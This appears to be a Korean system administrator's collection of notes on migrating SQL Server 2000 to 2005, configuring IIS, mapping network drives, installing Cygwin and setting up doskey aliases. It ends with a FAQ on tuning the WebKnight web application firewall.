-- 중간의 s2kuser 정보는 DB의 사용자이고, 뒤의 s2kuser는 새로 SQL 2005에서 만들어준 로그인 이름입니다.

### test라는 디비에 olduser라는 계정으로 사용하고 있었는데 
   2005로 옮겨 지면서 test라는 디비에 newuser라는 계정으로 사용을 하고 싶다면 

USE test; --복원한 DB명
GO
EXEC sp_change_users_login 'Update_One', 'olduser', 'newuser';
이상~!!
 
 
### SQL 복구 및 장애처리 Top ###
1. SQL 200 --> SQL 2005로 이전 시 디비명이 숫자가 오면 안된다.
   ex) 2006-mojily(X) -> mojily(0)로 변경하여 복구한뒤, 커넥션 부분에서 디비명을 수정한다.
2. kmg 확장자의 이미지 파일이 안뜰 경우
   - 인터넷 정보 서비스(IIS)관리 --> mojily.co.kr 등록정보 --> HTTP 헤더 --> MIME 형식에서 추가한다.
     ex) 확장명 : .kmg  / MIME형식 : application/unknown

### 윈도우즈 버츄얼 도메인 사용 방법 ###

1. 아이피로는 사용이 안되므로...
   윈도우서버의 도메인으로 가상 디렉터리를 설정하여...
   고객이 버츄얼 도메인을 요청할때 이용한다.
 
 
방법...
 
 
a. 웹사이트 -> 새로만들기 (ex. windows.chonnyeon.com) 만든다.
b. windows.chonnyeon.com생성한 웹사이트에 속성 -> 새로만들기 -> 가상 디렉터리 
   -> 별칭은 ftp id로 통일 -> 홈경로 설정 -> 읽기, 스크립트 실행 체크 -> 완료
c. http://windowshost.100dedi.com/ftpid/test.htm -> 풀경로로 확인!!

MS-SQL 클라이언트 설치 방법

---------  .net ------------------------------------------------------------------------------------------------------

다운로드
--------- msxml -------------------------------------------------------------------------------------------------------

Files in This Download     ( Ctrl + F 찾기 )
msxml6.msi   1.5 MB    Download 
 
-------- SQL Server 2005 클라이언트 설치 -------------------------------------------------------------------------------
http://www.microsoft.com/korea/msdn/vstudio/express/sql/download/
SQL Server Management Studio Express => 설치 38.5MB

--------------  .NET Framework Version 2.0 설치 ------------------------------------------------------------------------
http://www.microsoft.com/downloads/details.aspx?familyid=0856EACB-4362-4B0D-8EDD-AAB15C5E04F5&displaylang=en
다운로드
------------------------------------------------------------------------------------------------------------------------
 

sql 설명들...


http://msdn2.microsoft.com/ko-kr/library/ms190954.aspx

### Ms-Sql 백업 format옵션 ###


# Ms-Sql 백업 format옵션
-- 다중 볼륨 백업
backup database test to disk='d:\north.bak' , disk= 'd:\north2.bak'

-- format missing
backup database test to disk='d:\north.bak' , disk= 'd:\north2.bak' , disk= 'd:\north3.bak'

-- format 지정
backup database test to disk='d:\north.bak' , disk= 'd:\north2.bak' , disk= 'd:\north3.bak' with format

### IIS 설정 백업 방법 ###

### IIS 설정 백업 방법 ###
 
1. 인터넷 정보 서비스(IIS)관리 -> 로컬컴퓨터 오른쪽 마우스 클릭 ->
   모든작업 -> 구성 백업 / 복원
 
2. 백업위치
   C:\WINDOWS\system32\inetsrv\MetaBack

콘솔루트 터미널서비스 연결

콘솔루트 터미널서비스 연결
tsmmcsetup.exe 파일을 다운로드 받아 실행시킨다..
 
1. 실행창 -> mmc 입력 -> 파일 -> 스냅인 추가/제거 -> 추가 -> 터미널 서비스 연결 -> 확인
2. 터미널 서비스 연결 오른쪽 마우스 클릭 -> 새연결 추가 -> 서버 아이피 입력, 연결이름만 쓰고 확인!
 
 

워드파일 뷰어

 
 

### 원격드라이브 연결하기(삼바) ###

### 원격드라이브 연결하기 ###
 
[연결방법]
① 시작 → 실행 → cmd 명령 후
② 도스창에서 다음과 같이 입력해줍니다.

C:\>net use z: file://xxx.xx.xxx.xx/id passwd /user:id
명령을 잘 실행했습니다.
 
 
[해제방법]
 C:\>net use * /del /yes

 다음 원격 연결이 있습니다.
    Z:              file://xxx.xx.xxx.xx/id 계속하면 연결이 취소됩니다.
 명령을 잘 실행했습니다.
 
 
C:\>net use z: file://xxx.xx.xxx.xx/id passwd /user:id
 

- 방화벽 설정되었을 경우(아래의 포트 열어주자!)
  port : 135(tcp), 139(tcp, udp), 445(tcp, udp)
  
-  bat 파일 만드는 방법
   text 에디터를 연뒤 위의 내용을 입력하고 *.bat 파일로 저장합니다.
 
- 윈도우즈 예약 작업 사용 방법 : 제어판->예약된작업->예약작업추가

Cygwin 설치 설명서

 
1. Cygwin을 설치에는 아래의 2개 파일이 필요합니다.
       Setup.exe
       패키지파일

      아래의 주소에서 다운로드 가능합니다.
2. 먼저 다운 받은 setup.exe를 실행시키면 다음과 같은 화면이 나옵니다.
   다음을 클릭합니다.
    
[그림1] 설치 시작 화면
3. Cygwin 설치 옵션을 선택합니다.         자세한 옵션을 아래와 같습니다.
  • Install from Internet : 
       인터넷을 통해 패키지 파일을 다운로드한 후, 곧바로 CYGWIN 설치 하는 방식
  • Download from Internet : 
       인터넷을 통해 패키지 파일만을 다운로드 합니다. 나중에 CYGWIN 설치를 위해 사용자는 setup.exe 프로그램을 다시 실행시킬 필요가 있습니다. CYGWIN을 다른 컴퓨터에 설치하기 위해 파일만을 다운로드할 때 유용합니다.
  • Install from Local Directory :
       
     미리 다운로드 받은 패키지 파일들을 사용하여 CYGWIN을 설치할 때 선택합니다.
 이 설명서에서는 설치 시간을 빨리 하기 위해서 3번 옵션 Install from Local Directory 을 사용하는 방법을 설명합니다.
Install from Local Directory 을 선택하고 다음을 클릭합니다.
    
    [그림2] 설치 옵션 선택 화면.
4. CYGWIN을 설치할 디렉토리를 선택하고 다음을 클릭합니다.
    
여기에는 화면 아래에 다른 옵션이 있지만 기본값으로 설정하시면 됩니다.   
  • Install For : 
      NT 계열의 운영체제
    에서 다른 사용자들이 CYGWIN을 사용할 수 있는 권한을 부여할 지의 여부
  • Default Text File Type :
      text 문서의 carrige return line feed를 DOS방식, Unix방식으로 할 것인지 결정합니다.

    
    
[그림3] 
설치 디렉토리 선택 화면.

5. 
Browse 버튼을 클릭해서 이미 축을 푼 패키지 파일이 있는 디렉토리를 선택합니다.
    
    [그림4-1] 패키지 디텍토리 선택 화면(1)
    
    [그림 4-2] 패키지 디텍토리 선택 화면(2)

6. 설치할 패키지를 선택합니다.
  물론 필요한 패키지만 설치 할 수 있지만 Cygwin의 모든 기능을 사용하려면 모두 설치 하는 편이 좋습니다.
  그리고 Default를 클릭해서 Install로 변경 시킨후 다음을 클릭합니다.

[그림 5-1] Install 변경 전
      
     [그림 5-2] Install 변경 후
7. 파일 설치 진행 과정을 나타나는 화면이 나옵니다.
      
      [그림 6]
 설치 진행 화면
 
8. 바탕화면 아이콘과 시작메뉴에 아이콘을 추가 할 지를 선택합니다.
파일 설치가 완료되면 사용자의 데스크탑 바탕화면에 아이콘을 만들것인지와
시작 메뉴에 아이콘을 추가할 지를 선택할 수 있습니다.

마침을 클릭 합니다.
    
    [그림 7]
 바탕화면, 시작 메뉴 아이콘 추가 선택 화면
 
9. 설치 후 스크립트가 실행되는 화면이 나옵니다.
   
    [그림 8]
 설치 후 스크립트 실행 화면
10.  Cygwin 설치가 끝났습니다.
     
    [그림 9]
 설치 완료 화면
11. g++ 컴파일러와 vi가 올바르게 설치 되었는지 테스트 합니다.
    먼저 cygwin을 실행 시킵니다.
        
        [그림 10]
 바탕화면의 Cygwin 아이콘
12. 먼저 g++ 컴파일러을 테스트 합니다.
    
셀에 다음과 같은 명령어를 실행합니다.

    $ g++ -v

     

       [그림 11]
 g++ 버젼 출력 화면
    만약 올바르게 설치 되었으면 g++의 version 번호가 나타납니다.
13. 이번에는 vi 에디터를 테스트 합니다.
     
셀에 다음과 같은 명령어를 실행합니다.

    $ vi --version
        
만약 올바르게 설치 되었으면 vi의 version 번호가 나타납니다.

이 단계까지 오셨다면 cygwin을 성공적으로 설치 하셨습니다.

만약 설치가 올바르게 되지 않았다면 , unistall해서 다시 설치 하셔야 합니다.
 
참고 자료>
        Cygwin 홈페이지  
                        http://www.cygwin.com/
        한글 Tex 사용자 그룹
                        http://project.ktug.or.kr/cygwin-teTeX/cygwin-setup.htm

command 명령어 사용 방법

우선 autorun.bat 라는 파일을 만들고 아래 내용을 집어 넣는다.
 
@echo off
REM Unix in Win2k starts here
doskey ls=dir/w $*
doskey ll=dir $*
doskey cat=type $*
doskey ..=cd..
doskey grep=find "$1" $2 
doskey mv=ren $*
doskey cp=copy $*
 
다음에 레지스트리를 열어서 아래로 간다음에
HKEY_CURRENT_USER\Software\Microsoft\Command Processor
 
AutoRun 이라는 문자열 값을 추가한 다음에 값에는
c:\WINDOWS\system32\autorun.bat
를 넣어주면 cmd.exe가 실행될때마다 autorun.bat가 같이 실행됨

MSSQL 2005 접속 클라이언트(mssql server management Studio Express)

Mssql 2005 접속하는 클라이언트 프로그램입니다 .
 
자신의 PC 에 설치해서 MSSQL2005에 접속이 가능하도록 해줍니다.
 
아래의 위치에서도 다운이 가능합니다.
 

Awstats 설치 방법...

http://blog.paran.com/powerkit/18956217

KISA, 공개 웹방화벽 설치 위한 동영상 교육자료 보급

한국정보보호진흥원에서는 최근 빈번히 발생하고 있는 웹 어플리케이션 침해사고를 예방하고자 무료로 사용할 수 있는 공개 웹 방화벽의 보급과 기술지원을 제공하고 있습니다.
 
그리고, [KrCERT 공개 웹 방화벽 홈페이지]를 통하여 기본 설정(Rule) 파일 이나 FAQ 등을 제공하고 있지만, 문서만으로는 원활한 설치와 운용에 어려움이 있어 이를 보다 쉽게 설명하기 위한 방안으로 설치 및 운영에 대한 동영상을 제작였습니다.
 
제작된 동영상은 WebKnight 와 ModSecurity 에 대한 내용이며, 각 프로그램의 설치과정, 공격 차단 룰 안내 및 최적화 방법, 모의 공격 및 차단 결과등이 동영상으로 제공됩니다.
 
각 기업 및 단체 에서는 동영상을 참고하셔서 공개 웹 방화벽 운영에 도움을 받으시길 기대합니다.

- KrCERT의 공개 웹 방화벽 홈페이지 [바로가기] 

- 공개웹방화벽 WebKnight 설치 / 운영 동영상 가이드 [바로가기]

- 공개웹방화벽 ModSecurity 설치 / 운영 동영상 가이드 [바로가기]
 

WebKnight 설정 FAQ

Q.WebKnight 설치 후 정상적인 서비스 접속이 차단되고 WebKnight 경고창이 뜹니다.
AWebKnight의 기본 설정은 상당히 엄격하게 되어 있어 정상적인 웹접속 요청이 차단될 수 있습니다.
따라서, 설치 후 WebKnight 설정을 로깅모드로 전환한 후 룰을 최적화 시키는 과정이 필요합니다.
먼저, Config.exe를 실행하여 「Incident Response Handling」 섹션의 "Response Log Only"를 enable 합니다.
이는 패턴이 일치하더라도 실제 차단시키지는 않고 로그만 남기도록 하는 것입니다.
로그파일에서 “BLOCKED" 메시지를 확인하여 정상적인 웹요청이 차단된 경우 해당 룰을 수정 또는 제거하시기 바랍니다.
일정시간동안 정상적인 웹요청이 차단되지 않음을 확인한 후 다시 이 부분을 disable하여 공격발생시 로그뿐만 아니라 
실제 차단하도록 하십시오.

 
Q.WebKnight 설치 후에 홈페이지의 글자는 보이는데, 그림파일들은 보이지 않고 엑스(X) 형태의 박스로 뜹니다.
A그림파일들이 보이지 않는 것은 그림파일이 접근허용하지 않은 폴더에 위치하고 있거나, 허용하지 않는 확장자를 사용하고 있어
차단되었을 가능성이 높습니다. 허용하지 않는 Path를 사용할 경우 로그파일에 아래와 같은 차단로그가 기록됩니다.

05:41:52 ; W3SVC31 ; OnUrlMap ; xxx.xxx.98.86 ; ; /west/img/bb/abc.jpg ; D:\west\img\bb\abc.jpg ; 
BLOCKED: Not in allowed path list 'D:\west\img\bb\abc.jpg' ;

이 경우 「Mapped Path」 섹션의 "Allowed Paths" 리스트에서 그림파일이 위치한 Path를 등록하시기 바랍니다. WebKnight는 웹을
통해 접근을 허용하는 Path를 지정하고 그 이외의 폴더로 접근하고자 할 경우 모두 차단하고 있습니다. 이는 ../.. 등을 통해 
웹 홈디렉토리 상위 폴더로 접근하고자 하는 다운로드 공격을 차단하기 위함입니다.



특정 파일이 열리지 않을 경우 해당 파일의 확장자가 차단되고 있는지 확인할 필요도 있습니다. WebKnight의 기본 설정은 차단하는
확장자를 지정하고 그 이외의 확장자를 가진 파일은 허용하고 있습니다. 차단된 파일의 확장자가 「Requested File」 섹션의 
”Denied Extentions"에 포함되어 있는지 확인하십시오.

 
 
Q.WebKnight 설치 후 웹 접속 속도가 상당히 느려졌습니다.
A속도가 느려질 경우 룰 설정이 정상적인지 확인해 볼 필요가 있습니다.
가령 앞의 질의와 같이 일부 파일의 Path가 허용되지 않은 경우도 그림파일을 호출하기 위해 속도가 느려질 수가 있습니다.
일반적으로 중소규모의 웹사이트에서 정상적으로 WebKnight가 설치된 경우 다소의 접속지연은 있지만, 체감할 정도는 아닙니다.
로그파일 분석을 통해 룰을 다시 최적화시켜 보시기 바랍니다.
 
QWebKnight를 설치하였는데, ISAPI 필터에서 webknight.dll이 load되지 않았습니다.
정상적으로 설치되었는지 어떻게 확인할 수 있습니까?
AWebKnight 최초 설치 후에는 IIS 웹서버를 재가동(Reload)하여야 WebKnight가 load됩니다. 간혹, WebKnight가 정상적으로 운용이
되는데도 불구하고, ISAPI 필터에서 load되지 않았다고 나오거나 “알수 없음”으로 나오기도 합니다(특히, IIS 6.0에서 이러한 현상이
자주 나타나는 듯 합니다.). WebKnight가 로드되었을 경우 아래와 같이 로그파일에 “AQTRONIX WebKnight loaded"라고 로그를
남깁니다.
또한, 정상적으로 WebKnight가 운용되고 있는지는 로그파일에 차단로그가 쌓이는지 확인하거나, 실제 공격하여 공격이 차단되는지 
확인함으로써 정상 동작 여부를 확인할 수도 있습니다.

#Software: AQTRONIX WebKnight 1.3
#Date: 2006-10-18 00:39:22
#LogTime: GMT (Local-09:00)
#Fields: Time ; Site Instance ; Event ; Client IP ; Username ; Additional info about request (event specific)
00:39:22 ; AQTRONIX WebKnight loaded
00:39:22 ; INFO: Settings loaded from WebKnight.xml file
00:39:22 ; INFO: To check if WebKnight is loaded correctly, you can have a look at the currently loaded settings in the file 'Loaded.xml' (start config.exe and open this file).
00:39:22 ; INFO: Firewall is installed as high priority (very secure)
 
 
 
 
 
QIIS 6.0에서 글로벌 필터로 WebKnight가 설치되지 않습니다.
AIIS 6.0에서 글로벌 필터로 구동하기 위해서는 “IIS 5.0 격리 모드”로 IIS를 구동하여야 합니다. IIS 6.0은 기본적으로
“작업자 프로세스 모드”로 구동이 되고 있는데 “IIS 5.0 격리 모드”로 변경할 경우에는 동일 환경의 테스트 서버에서 정상적으로
동작하는지 검증을 거치는 것이 바람직합니다. “IIS 5.0 격리 모드”로 변경하면 IIS의 재시작이 필요합니다.

 
QWebKnight 디폴트 설정으로 돌아가기 위해서는 어떻게 해야 하나요?
AWebKnight 설치 폴더의 webknight.xml 파일을 삭제하고 웹서버를 재가동하면 됩니다. 웹서버 재가동시 디폴트 설정을 가진 webknight.xml 파일이 새로 생성됩니다.
 
QWebKnight 설정을 변경하였는데, 변경된 설정내용을 저장하였다가 이후에 다시 불러올 수 있나요?
AConfig.exe를 실행하여 "File“ → ”Save AS"를 통해 현재 WebKnight의 설정을 다른 이름으로 저장해 둘 수 있습니다.
추후 이 설정파일을 다시 사용하려면 이 파일을 webknight.xml로 파일 이름을 바꾸면 됩니다.
 
Q. WebKnight에 의해 차단될 경우 사용자들에게 “WebKnight Application Firewall Alert"이라는 제목의 경고창이 보여 주는데,
이 경고창을 보여주지 않거나 보여지는 화면을 바꿀 수 있습니까?
AWebKnight는 공격 탐지시 기본적으로 WebKnight 설치 폴더에 있는 nohack.htm 파일을 띄워 줍니다. 공격자에게 WebKnight 설치
사실을 숨기거나 정상적인 접속이 차단될 경우 관리자에게 문의하게 하기 위하여 이 파일의 내용을 변경하거나 다른 파일이 
띄워지게 할 수 있습니다. 경고창을 변경하기 위해서는 2가지 방법을 사용할 수 있습니다.
첫 번째 방법은 ”Response Directly"를 enable 시키고 nohack.html 파일의 내용을 수정하는 것입니다.
두 번째 방법은 ”Response Directly"를 disable, “Response Redirect"를 enable 시키고,
”Response Redirect URL" 부분을 리다이렉션 하고자 하는 URL(절대경로 또는 상대경로)로 변경해 주는 것입니다.

 
 
QConfig.exe를 통해서 룰 설정을 변경하였는데 반영되지 않는 듯 합니다.
A룰설정 변경 이후 해당 룰을 저장하였는지 확인해 보시기 바랍니다.
WebKnight는 자동으로 매 1분마다 변경된 설정 내역을 감지하여 반영합니다.
따라서, 룰 설정이 변경되더라도 변경내역이 실시간으로 반영되지 않을 수 있으나,
약 1분 이후에는 반영된 것을 확인하실 수 있을 것입니다.
 
 
Q룰 설정을 변경한 후에는 반드시 IIS 웹서버를 재가동하여야 합니까?
A대부분의 룰 설정은 IIS의 재가동이 필요없습니다. 하지만, 일부 변경시에는 IIS 웹서버 재가동이 필요한데, 이 경우에는 각 설정 부분의 주석에 재가동이 필요하다고 명기되어 있습니다.
 
 
Q.SQL Injection 공격 차단을 위한 패턴은 어디에 추가할 수 있습니까?
A「SQL Injection」 섹션에서 “SQL Injection Keywords"에 공격 키워드를 추가.삭제할 수 있습니다.
WebKnight에서는 여기에 등록된 키워드 중 2개 이상이 발견될 경우 차단하고 경고창을 띄웁니다.

 
 
Q정상적인 사용자들의 접속이 차단되고 이 때 WebKnight에서는 다음과 같은 로그가 남습니다.
02:03:28 ; W3SVC3 ; OnPreprocHeaders ; xxx.xxx.84.224 ; ; GET ; /xxx.asp ; s_kind=main&
query=adfasd&keyword=adfasd&nil_Search=btn&start=0&count=10&opt=1&cluster=2&convert=&
image_search.x=16&image_search.y=11 ; HTTP/1.1 ; BLOCKED: Header 'User-Agent:' too long
; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;Mozilla/4.0(Compatible Mozilla/4.0(Compatible-EmbeddedWB 
14.57 http://bsalsa.com/ EmbeddedWB- 14.57 from: http://bsalsa.com/ ; EmbeddedWB 14.52 from: 
http://www.bsalsa.com/EmbeddedWB 14.52; InfoPath.1; .NET CLR 2.0.50727) ;RMID=3ae9cc2245842000; 
PCID=11662869034066763909805; RMFD=011H7j5jO2010h
A로그에 정상 사용자들이 차단된 원인은 Header의 User-Agent 부분이 비정상적으로 길어 공격으로 간주했기 때문입니다.
WebKnight 설정에서 "Request Limits" 세션에서 "Use Max Headers" 가 디폴트로 enabel되어 있습니다. 그리고, 헤더에 들어가는
여러 항목들에 대한 최대 길이를 정의할 수 있는데 "User-Agent"가 256으로 기본 설정되어 있습니다.



일반적인 경우 이 부분에 256 바이트 이상이 되지 않지만 문제가 된 사용자의 경우 그 이상이어서 WebKnight에서 차단되었습니다.
차단된 사용자의 로그에서 헤더의 User-Agent 부분이 “ ~~~EmbeddedWB 14.52 from: http://www.bsalsa.com/ ~~~”로 표기되어
있는데, bsalsa라는 Embedded 웹 브라우져 패키지를 사용한 프로그램 또는 웹브라우져로 웹 접속을 한 사용자들이 차단되고 있는
것입니다.

이를 해결하기 위해 "Use Max Headers"를 disable하거나, Length 부분을 충분히 크게 설정해 주면 됩니다.

http://blog.naver.com/suwasun?Redirect=Log&logNo=38212455